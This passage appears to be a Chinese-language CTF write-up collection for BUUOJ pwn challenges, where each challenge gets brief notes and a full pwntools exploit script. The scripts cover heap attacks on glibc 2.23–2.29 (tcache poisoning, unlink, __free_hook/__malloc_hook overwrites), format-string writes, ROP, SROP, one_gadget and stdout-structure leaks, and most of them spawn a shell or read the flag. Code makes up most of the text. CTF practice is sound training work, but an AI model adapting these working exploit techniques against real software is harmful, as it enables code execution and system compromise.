add(i+4,0xf8,"aaaa")
for i in range(7):
free(i+4)
free(2)
for i in range(7):
add(i+4,0xa8,"aaaa")
add(11,0xa8,p8(0xa0))
add(12,0x88,p8(0xa0))
free(3)
free(1)
edit(12,p64(0x6022B8))
add(13,0x88,"aaaa")
add(14,0x88,p32(0x1)+p32(0x3))
show(11)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 608 - 0x10 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("libc_base:" + hex(libc_base))
free(12)
edit(13,p64(free_hook))
add(15,0x88,"/bin/sh\x00")
add(16,0x88,p64(sys_ad))
free(15)
p.interactive()

gwctf_2019_easy_pwn

32位 + c++写的程序 + 开了partial relro 以及 nx,大意了,I替换成pretty没分析出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
#p = process("./pwn")
p = remote('node4.buuoj.cn',25952)

elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_ad = 0x08049091

payload = "I"*16 + p32(puts_plt) + p32(main_ad) + p32(puts_got)

p.recvuntil("Hello,please tell me your name!\n")
p.send(payload)

p.recvuntil("pretty" * 16)

p.recv(12)
libc_base = u32(p.recv(4)) - libc.sym["puts"]

og = libc_base + 0x5f066

payload = "I"*16 + p32(og)

p.recvuntil("Hello,please tell me your name!\n")
p.send(payload)
p.interactive()

picoctf_2018_echooo

32位格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

file_name = "./PicoCTF_2018_echooo"
remote_ad = "ndoe4.buuoj.cn"
port = 27689
libc_name = "./libc-2.29.so"
choice = 1
libc = ELF(libc_name)

if(choice==0):
p = process(file_name)
else:
p = remote(remote_ad,port)

elf = ELF(file_name)
libc = ELF(libc_name)
context.arch = "i386"

#gdb.attach(p)
payload = "%27$p"+"%28$p"+"%29$p"+"%30$p"+"%31$p"+"%32$p"+"%33$p"+"%34$p"+"%35$p"+"%36$p"+"%37$p"+"%38$p"
p.recvuntil("> ")
p.sendline(payload)
print p.recv()

p.interactive()

asis2016_b00ks

这个题有两种做法(因为申请堆的大小没被控制),有show功能和edit功能,进入菜单前要输入name,而name后放的就是堆的指针,
可以先输入32个字符填满,再创建堆,然后show就可以泄露堆的地址,本题中的堆是通过一个book结构的堆管理的

1
2
3
4
5
6
struct books{
int id;
int *name;
int *des;
int size;
}

并通过指向book的指针控制其中的内容
思路是创建第一个堆,堆的des部分可以覆盖0x100-0x110(用于edit伪造堆),然后再分配第二个堆,并且为smallbin大小的堆,再free,放到unsortedbin中
,此时修改第一个堆的des伪造指针指向unsortedbin中那个堆的fd,再changname此时就可以泄露libc,然后再分配0x68的堆到0x100,那个结构控制的堆那里,就差不多了,最后再通过realloc+malloc_hook打og就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

p = remote("node4.buuoj.cn",29509)
#p = process("./b00ks")
elf = ELF("./b00ks")
libc = ELF("./libc-2.23.so")

p.recvuntil("author name: ")
p.sendline("a"*32)

def add(size1,name,size2,des):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("Enter book name size: ")
p.sendline(str(size1))
p.recvuntil("Enter book name (Max 32 chars): ")
p.sendline(name)
p.recvuntil("Enter book description size: ")
p.sendline(str(size2))
p.recvuntil("Enter book description: ")
p.sendline(des)

def free(idx):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("delete: ")
p.sendline(str(idx))

def edit(idx,des):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("edit: ")
p.sendline(str(idx))
p.recvuntil("description: ")
p.sendline(des)

def show():
p.recvuntil("> ")
p.sendline("4")

def change(name):
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("name: ")
p.sendline(name)

add(0x50,"aaaa",0xa0,"bbbb")#1
show()
p.recvuntil("a"*32)
heap_ad = u64(p.recv(6).ljust(8,"\x00")) + 0x60
log.info("heap_ad: " + hex(heap_ad))
add(0x20,"aaaa",0x100,"bbbb")#2

edit(1,"a"*0x80+p64(1)+p64(heap_ad)+p64(heap_ad)+p64(0x100))
change("a"*32)
free(2)
show()
p.recvuntil("Name: ")
ad = u64(p.recv(6).ljust(8,"\x00")) - 0x68 -libc.sym["__malloc_hook"]
log.info("ad: " + hex(ad))
sys_ad = ad + libc.sym["system"]
malloc_hook = ad + libc.sym["__malloc_hook"]
realloc_hook = ad +libc.sym["__libc_realloc"]
og = ad + 0x4526a
add(0x20,"aaaa",0x68,"bbbb")#2
#add(0x10,"aaaa",0x68,"aaaa")#3
free(3)
edit(1,p64(malloc_hook-0x23))

add(0x68,"aaaa",0x20,"aaaa")
payload = "a"*(0x13-8)+p64(og)+p64(realloc_hook+14)

p.recvuntil("> ")
p.sendline("1")
p.recvuntil("Enter book name size: ")
p.sendline(str(0x68))
p.recvuntil("Enter book name (Max 32 chars): ")
p.sendline(payload)
#gdb.attach(p)
p.recvuntil("Enter book description size: ")
p.sendline("1")

p.interactive()

rootersctf_2019_srop

64位只开了nx,srop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

p = process("./rootersctf_2019_srop")
#p = remote("node4.buuoj.cn",27804)

elf = ELF("./rootersctf_2019_srop")
libc = ELF("./libc-2.27.so")

context(arch="amd64",os="linux")

main_ad = 0x401000
pop_rax = 0x401032
data = 0x402000

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = data
frame.rdx = 0x400
frame.rip = 0x401033
frame.rbp = data
gdb.attach(p)
payload = "a"*0x80 + p64(0) + p64(pop_rax) + p64(0xf) + str(frame)
#gdb.attach(p)
p.sendline(payload)

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = data + 0x200
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x401033

payload = "a"*8 + p64(pop_rax) + p64(0xf) + str(frame)
payload = payload.ljust(0x200,"\x00") + "/bin/sh\x00"
p.send(payload)
p.interactive()

hitcontraining_playfmt

bss段上的格式化字符串漏洞,思路是泄露libc+改printf_got为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

libc = ELF("./libc-2.23.so")
elf = ELF("./playfmt")
log_level = "debug"

while(1):

p = remote("node4.buuoj.cn",28790)
payload = "a"*4 + "%6$p" + "%15$p"

p.sendline(payload)

p.recvuntil("aaaa")
stack = int(p.recv(10),16)
libc_base = int(p.recv(10),16) - 0x18647
sys_ad = libc_base + libc.sym["system"]
printf_ad = libc_base + libc.sym["printf"]

#log.info("stack: " + hex(stack))
#log.info("libc_base: " + hex(libc_base))
log.info("sys_ad: " + hex(sys_ad))
log.info("prt_ad: " + hex(printf_ad))
#log.info("printf_got: " + hex(elf.got["printf"]))
#gdb.attach(p)

payload1 = "%" + str((stack-0x14)&0xff) + "c%6$hhn"
p.sendline(payload1)
payload2 = "%" + str(0x10) +"c%10$hhn"
p.sendline(payload2)
payload3 = "%" + str(sys_ad&0xffff) + "c%5$hn"
p.sendline(payload3)
p.sendline("/bin/sh\x00")
#gdb.attach(p)

if((sys_ad>>16)==(printf_ad>>16)):
p.interactive()
else:
p.close()

#p.interactive()

jarvisoj_typo

arm汇编,静态编译,需要找到system,以及/bin/sh,(arm中r0和rdi一样),system有点玄学,别人博客上和
do_system基本一样,我这里

1
2
3
4
void sub_110B4()
{
sub_10BA8();
}

别人

1
2
3
4
5
6
7
8
9
char * sub_110B4(int a1)
{
char *result;
if (a1)
result = sub_10BA8(a1);
else
result = (char *)sub_10BA8((int)"exit 0" == 0);
return reuslt;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process(["qemu-arm","./typo"])

#gdb.attach(p)
p0 = 0x00020904
bin_ad = 0x0006C384
sys_ad = 0x000110B4
payload = b"a"*112 + p32(p0) + p32(bin_ad)*2 + p32(sys_ad)
p.sendafter("if you want to quit\n","\n")

p.recvuntil("\n")
p.sendline(payload)

p.interactive()

[OGeek2019]bookmanager

第一版exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

libc_path = "/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
ld_path = "/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"
p = process([ld_path, "./pwn"], env={"LD_PRELOAD":libc_path})
#p = remote("node4.buuoj.cn",27810)
libc = ELF("/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
context(log_level = "debug")
p.sendlineafter(":","archer")

def chapter(chapter):
p.sendlineafter(":","1")
p.sendlineafter(":",chapter)

def section(chapter,section):
p.sendlineafter("choice:","2")
p.sendlineafter(":",chapter)
p.recv(2)
ad = int(p.recv(14),16)
p.sendlineafter(":",section)
return ad

def text(section,num,text):
p.sendlineafter(":","3")
p.sendlineafter(":",section)
p.sendlineafter(":",str(num))
p.sendlineafter(":",text)

def rechapter(chapter):
p.sendlineafter("choice:","4")
p.sendlineafter("name:",chapter)

def resection(section):
p.sendlineafter("choice:","5")
p.sendlineafter("name:",section)

def retext(section):
p.sendlineafter("choice:","6")
p.sendlineafter("name:",section)

def show():
p.sendlineafter(":","7")

def edit(choice,section,con):
p.sendlineafter(":","8")
p.sendlineafter(":",choice)
p.sendlineafter(":",section)
p.sendlineafter(":",con)

chapter("c0")
chapter("c1")
heap = section("c0","s0") + 0x130 - 448
log.info("heap: " + hex(heap))
section("c0","s1")
resection("s0")
rechapter("c1")
pay = b"/bin/sh\x00" + b"a"*0x18 + p64(0)*3 + p64(0x41) + p64(0x3173) + p64(0)*3 + p64(heap)
pay += p64(0x30)
text("s1",0x30,"a")
edit("Text","s1",pay)
show()

ad = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
free_hook = ad + libc.sym["__free_hook"]
sys_ad = ad + libc.sym["system"]
log.info("ad: " + hex(ad))
pay = b"/bin/sh\x00" + b"a"*0x18 + p64(free_hook)
edit("Section","s1",pay)

edit("Text","/bin/sh",p64(sys_ad))
resection("/bin/sh")

#gdb.attach(p)
p.interactive()

第二版exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

libc_path = "/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
ld_path = "/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"
#p = process([ld_path, "./pwn"], env={"LD_PRELOAD":libc_path})
p = remote("node4.buuoj.cn",27810)
libc = ELF("/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
context(log_level = "debug")
p.sendlineafter(":","archer")

def chapter(chapter):
p.sendlineafter(":","1")
p.sendlineafter(":",chapter)

def section(chapter,section):
p.sendlineafter("choice:","2")
p.sendlineafter(":",chapter)
p.recv(2)
ad = int(p.recv(14),16)
p.sendlineafter(":",section)
return ad

def text(section,num,text):
p.sendlineafter(":","3")
p.sendlineafter(":",section)
p.sendlineafter(":",str(num))
p.sendlineafter(":",text)

def rechapter(chapter):
p.sendlineafter("choice:","4")
p.sendlineafter("name:",chapter)

def resection(section):
p.sendlineafter("choice:","5")
p.sendlineafter("name:",section)

def retext(section):
p.sendlineafter("choice:","6")
p.sendlineafter("name:",section)

def show():
p.sendlineafter(":","7")

def edit(choice,section,con):
p.sendlineafter(":","8")
p.sendlineafter(":",choice)
p.sendlineafter(":",section)
p.sendlineafter(":",con)

chapter("c0")
chapter("c1")
heap = section("c0","s0") - 288
log.info("heap: " + hex(heap))
text("s0",0x40,"b"*0x40)
section("c1","s1")

edit("Text","s0",b"b"*0x40 + p64(0) + p64(0x41) + p64(0x3173) + p64(0)*3 + p64(heap) + p64(0x40))
rechapter("c0")

show()
p.recvuntil("Text:")
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("libc_base: " + hex(libc_base))

edit("Section","s1",b"sh\x00\x00\x00\x00\x00\x00" + p64(0)*3 + p64(free_hook))
edit("Text","sh",p64(sys_ad))
resection("sh")
p.sendline("cat flag")
#gdb.attach(p)
p.interactive()

第三版exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

libc_path = "/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
ld_path = "/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"
#p = process([ld_path, "./pwn"], env={"LD_PRELOAD":libc_path})
p = remote("node4.buuoj.cn",27810)
libc = ELF("/home/archer/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
context(log_level = "debug")
p.sendlineafter(":","archer")

def chapter(chapter):
p.sendlineafter(":","1")
p.sendlineafter(":",chapter)

def section(chapter,section):
p.sendlineafter("choice:","2")
p.sendlineafter(":",chapter)
p.recv(2)
ad = int(p.recv(14),16)
p.sendlineafter(":",section)
return ad

def text(section,num,text):
p.sendlineafter(":","3")
p.sendlineafter(":",section)
p.sendlineafter(":",str(num))
p.sendlineafter(":",text)

def rechapter(chapter):
p.sendlineafter("choice:","4")
p.sendlineafter("name:",chapter)

def resection(section):
p.sendlineafter("choice:","5")
p.sendlineafter("name:",section)

def retext(section):
p.sendlineafter("choice:","6")
p.sendlineafter("name:",section)

def show():
p.sendlineafter(":","7")

def edit(choice,section,con):
p.sendlineafter(":","8")
p.sendlineafter(":",choice)
p.sendlineafter(":",section)
p.sendlineafter(":",con)

chapter("c0")
heap = section("c0","s0") - 288
log.info("heap: " + hex(heap))
text("s0",0x88,"b"*8)
section("c0","s1")
retext("s0")
text("s0",0x88,"b"*8)
show()

p.recvuntil("b"*8)
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("libc_base: " + hex(libc_base))

pay = b"/bin/sh\x00" + b"\x00"*0x78 + p64(0x90) + p64(0x41) + p64(0x3173) + p64(0)*3
pay += p64(free_hook) + p64(0x60) + p64(0) + p64(0x20dd1)
section("c0","aaaa")
edit("Text","s0",pay)

edit("Text","s1",p64(sys_ad))

resection("s0")
p.interactive()

几经周折,第二版和第三版exp能打通,最开始没打通是没用buu的libc……

sctf_2019_one_heap

本地环境太新了调不了这个题
参考exp一(https://surager.pub/_posts/2020-09-05-sctf_2019_one_heap/)
这个利用了堆的小tricks,需要对堆的构造非常非常熟悉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
elf = ELF("./sctf_2019_one_heap")
libc = ELF("./x64-libc-2.27.so")
#context.log_level = 'debug'

ip = "node3.buuoj.cn"
port = 27612

def add(size,con):
io.sendlineafter("choice:",'1')
io.sendlineafter("size:",str(size))
io.sendlineafter("content:",con)

def free():
io.sendlineafter("choice:",'2')

def dbg():
gdb.attach(io)
pause()

while 1:
try:
io = process(["./sctf_2019_one_heap"])
#io = remote(ip,port)
add(0x7f,'a')
free()
free()
add(0x3f,'\x00'*0x20+p64(0x90)+'\x20')
free()
add(0x7f,'')
add(0x7f,'')
add(0x7f,'')
free()
add(0x20,'\x50\xb7')
add(0x7f,'\x00'*0x28+p64(0x91))
payload = '\x00'*0x10+p64(0xfbad1880) + p64(0)*3 + '\x00'
add(0x7f,payload)
libcbase = io.recv()
if not('\x7f' in libcbase):
io.close()
continue
idx = libcbase.find("\x7f")
libc.address = u64(libcbase[idx-5:idx+1].ljust(8,'\x00')) - 0x3ed8b0
log.info("libc.address : "+ hex(libc.address))
dbg()
break
io.sendline("1")
io.sendlineafter("size:",str(0x70))
payload = p64(0)*11+p64(0x51)+p64(libc.sym["__malloc_hook"]-0x8)
io.sendlineafter("content:",payload)
add(0x40,'')
add(0x40,p64(libc.address + 0x10a38c)+p64(libc.sym['__libc_realloc']+4))
#add(0x50,'')
io.interactive()
break
except:
io.close()
continue

参考exp二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

#r = remote("node3.buuoj.cn", 27296)
#r = process("./sctf_2019_one_heap")

#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xCAF)
x/20gx $rebase(0x202050)
bin
''')
elf = ELF("./sctf_2019_one_heap")
libc = ELF('./libc/libc-2.27.so')

def add(size, content):
r.recvuntil("Your choice:")
r.sendline('1')
r.recvuntil("Input the size:")
r.sendline(str(size))
r.recvuntil("Input the content:")
r.send(content)


def delete():
r.recvuntil("Your choice:")
r.sendline('2')


def pwn():
add(0x7f, 'aaa\n')
delete()
delete()
add(0x7f, '\x10\xd0\n')
add(0x7f, 'bbb\n')
payload = p64(0)*4+p64(0x0000000007000000)+'\n'
add(0x7f, payload)
delete()
add(0x40, '\n')
add(0x18, p64(0)+'\x60\x87\n')
add(0x40,p64(0xfbad1887)+p64(0)*3+p8(0x58)+'\n')#get _IO_2_1_stdout_ change flag and write_base
#get_libc
libc_base = u64(r.recvuntil("\x7f").ljust(8,'\x00'))-libc.sym['_IO_file_jumps'] #choose by yourself _IO_2_1_stderr_+216 store
free_hook=libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success("libc_base:"+hex(libc_base))

add(0x18, p64(free_hook-8)*2+'\n')
add(0x7f, '/bin/sh\x00'+p64(system)+'\n')
delete()

r.sendline('cat /flag')
r.interactive()


if __name__ == "__main__":

while True:
r = remote("node3.buuoj.cn", 25222)
try:
pwn()
except:
r.close()

ciscn_2019_n_7

exit_hook,由于关闭了输出,需要exec 1>&0将输出重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
p = remote("node4.buuoj.cn",27828)
#p = process("./ciscn_2019_n_7")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc = ELF("./libc-2.23.so")
def add(size,name):
p.sendlineafter("choice-> \n","1")
p.sendlineafter("Length: \n",str(size))
p.sendafter("name:\n",name)

def edit(name,con):
p.sendlineafter("choice-> \n","2")
p.sendlineafter("New Author name:\n",name)
p.sendlineafter("New contents:\n",con)


p.sendlineafter("choice-> \n","666")
libc_base = int(p.recv(14),16) - libc.sym["puts"]
rtld = libc_base + 0x5F0F48
oog = [0x45216,0x4526a,0xf02a4,0xf1147]
og = libc_base + oog[3]

log.info("libc_base: " + hex(libc_base))
log.info("rtld: " + hex(rtld))
add(0x38,"a"*8 + p64(rtld))
edit("aaaa",p64(og))
p.sendlineafter("choice-> \n","4")
#gdb.attach(p)
p.interactive()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

qctf_2018_stack2

简单题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

p = remote("node4.buuoj.cn",26915)
#p = process("./QCTF_2018_stack2")
sys_ad = 0x0804859B

def change(idx,num):
p.sendlineafter("5. exit","3")
p.sendlineafter("change:\n",str(idx))
p.sendlineafter("number:\n",str(num))

def exp():
p.recvuntil("have:")
p.sendline("1")
p.recvuntil("numbers")
p.sendline("1")
#p.sendlineafter("5. exit","5")
change(116 + 16,0x9B)
change(117 + 16,0x85)
change(118 + 16,0x4)
change(119 + 16,0x8)
p.sendlineafter("5. exit","5")
p.interactive()

while(1):
p = remote("node4.buuoj.cn",26915)
#p = process("./QCTF_2018_stack2")
try:
exp()
except:
p.close()

wdb_2018_1st_babyheap

unlink做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

#p = process("./wdb_2018_1st_babyheap")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = remote("node4.buuoj.cn",25967)
libc = ELF("./libc-2.23-64.so")

def add(idx,con):
p.sendlineafter("Choice:","1")
p.sendlineafter("Index:",str(idx))
p.sendafter("Content:",con)

def edit(idx,con):
p.sendlineafter("Choice:","2")
p.sendlineafter("Index:",str(idx))
p.sendafter("Content:",con)

def show(idx):
p.sendlineafter("Choice:","3")
p.sendlineafter("Index:",str(idx))

def delete(idx):
p.sendlineafter("Choice:","4")
p.sendlineafter("Index:",str(idx))

bss = 0x602060
fd = bss - 0x18
bk = bss - 0x10

add(0,p64(0) + p64(0x31) + p64(0) + p64(0x31))
add(1,"a" + "\n")
add(2,"a" + "\n")
add(3,"a" + "\n")
add(4,"/bin/sh\x00" + "\n")

delete(0)
delete(1)
delete(0)

show(0)
heap = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0x30
log.info("heap: " + hex(heap))
edit(0,p64(heap + 0x10) + p64(0) + p64(heap) + "\n")
add(5,p64(0) + p64(0x31) + "\n")
add(6,p64(0)*2 + p64(0x20) + p64(0x90))
add(7,p64(0) + p64(0x21) + p64(fd) + p64(bk))
delete(1)
show(6)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("libc_base: " + hex(libc_base))
edit(0,p64(0)*3 + p64(free_hook))
edit(0,p64(sys_ad) + "\n")
delete(4)
#gdb.attach(p)
p.interactive()

srop做法
待补充

hfctf_2020_marksman

思路非常清晰显然是exit_hook打one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*
from LibcSearcher import*
context.log_level='debug'
#p = process('./pwn')
p = remote('node4.buuoj.cn',27408)
elf = ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
libc = ELF("./libc-2.27.so")
p.recvuntil("near: ")
libc_base = int(p.recv(14),16) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
og = [0x4f365,0x4f3c2,0xe56ff,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
og = og[6] + libc_base
og1 = [0x4f2c5,0x4f322,0x10a38c]
og1 = og1[1] + libc_base
exit_hook1 = libc_base + 0x81df60
exit_hook2 = libc_base + 0x81df68
log.info("exit_hook: " + hex(exit_hook1))
log.info("exit_hook: " + hex(exit_hook2))
log.info("one_gadget: " + hex(og))

#### First ####
pay = exit_hook1
p.sendlineafter("shoot!shoot!\n",str(pay))

#### Second ####
pay1 = og1 & 0xff
p.sendafter("biang!\n",p16(pay1))
#gdb.attach(p)
#### Third ####
pay2 = (og1>>8)&0xff
p.sendafter("biang!\n",p16(pay2))
#gdb.attach(p)
#### Fourth ####
pay3 = (og1>>16)&0xff
p.sendafter("biang!\n",p16(pay3))

p.interactive()

warmup

两种做法,一种orw,另一种execve,思路是通过read或者alarm来控制eax从而执行系统调用
(使用execve的做法需要用到一个小trick,即execve的第二个参数可以是0,也可以为指向0的地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process("./warmup")
context(log_level = "debug")

read = 0x0804811D
write = 0x08048135
data = 0x080491BC
vul = 0x0804815A
ebx = 0x0804813A
#gdb.attach(p)
pay = "a"*0x20 + p32(read) + p32(vul) + p32(0) + p32(data) + p32(0x8)
p.send(pay)
p.send("/bin/sh\x00")
pay = "a"*0x20 + p32(read) + p32(ebx) + p32(0) + p32(data) + p32(0x8049300)
p.send(pay)
p.send("/bin/sh\x00\x00\x00\x00")

p.interactive()

hitcon_ctf_2019_one_punch

环境为libc-2.29,保护全开,开了沙盒,这个题有点意思,add函数使用calloc(序号为0-2),存在uaf,
存在后门函数需要满足0x217的tcachebin数量大于6,思路是通过size不为0x217的堆的tcache stash unlink attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

libc = ELF("/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
libc_path = "/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so"
ld_path = "/home/archer/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/ld-2.29.so"

p = process([ld_path, "./hitcon_ctf_2019_one_punch"], env={"LD_PRELOAD":libc_path})
context(log_level = "debug")

#libc = ELF("./libc-2.29.so")
#p = remote("node4.buuoj.cn",27917)
def add(idx,con):
p.sendlineafter("> ","1")
p.sendlineafter("idx: ",str(idx))
p.sendafter("name: ",con)

def change(idx,con):
p.sendlineafter("> ","2")
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("name: ",con)

def show(idx):
p.sendlineafter("> ","3")
p.sendlineafter("idx: ",str(idx))

def delete(idx):
p.sendlineafter("> ","4")
p.sendlineafter("idx: ",str(idx))

def malloc(con):
p.sendlineafter("> ","50056")
p.send(con)

add(0,"a"*0x100)
add(1,"b"*0x400)
add(2,"c"*0x200)


for i in range(5):
delete(0)
change(0,p64(0))
delete(0)
show(0)
p.recvuntil("name: ")
heap = u64(p.recv(6).ljust(8,b"\x00")) - 0x260
log.info("heap: " + hex(heap))
for i in range(7):
delete(1)
change(1,p64(0))
delete(1)
show(1)
p.recvuntil("name: ")
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.info("heap: " + hex(libc_base))
add_rsp_48 = libc_base + 0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall_ret = libc_base + 0x000000000010D022
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

add(1,"a"*0x2f0)
add(2,"b"*0x400)
add(1,"b"*0x200)
delete(2)
add(1,"b"*0x2f0)
add(0,"c"*0x400)
change(2,b"b"*0x2f0 + p64(0) + p64(0x111) + p64(heap + 0x660) + p64(heap + 0x20 - 5))

add(1,"a"*0x217)
delete(1)
change(1,p64(0))
delete(1)
change(1,p64(malloc_hook))
add(0,"b"*0x100)
malloc("./flag\x00")
flag_addr = 5056 + heap
malloc(p64(add_rsp_48))
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
#read(3,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,flag_addr,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
gdb.attach(p)
add(1,rop)

p.interactive()

wustctf2020_babyfmt

学到很多,首先是scanf输入部分(%lld),输入读到的是字母,则输出原本的内容可以泄露pie和stack,还有将
bss段的stdout地址改为stderr,这样即使关闭输出也能通过stderr输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#p = process("./wustctf2020_babyfmt")
p = remote("node4.buuoj.cn",27020)
elf = ELF("./wustctf2020_babyfmt")
libc = elf.libc
context(log_level = "debug")
def leak(ad):
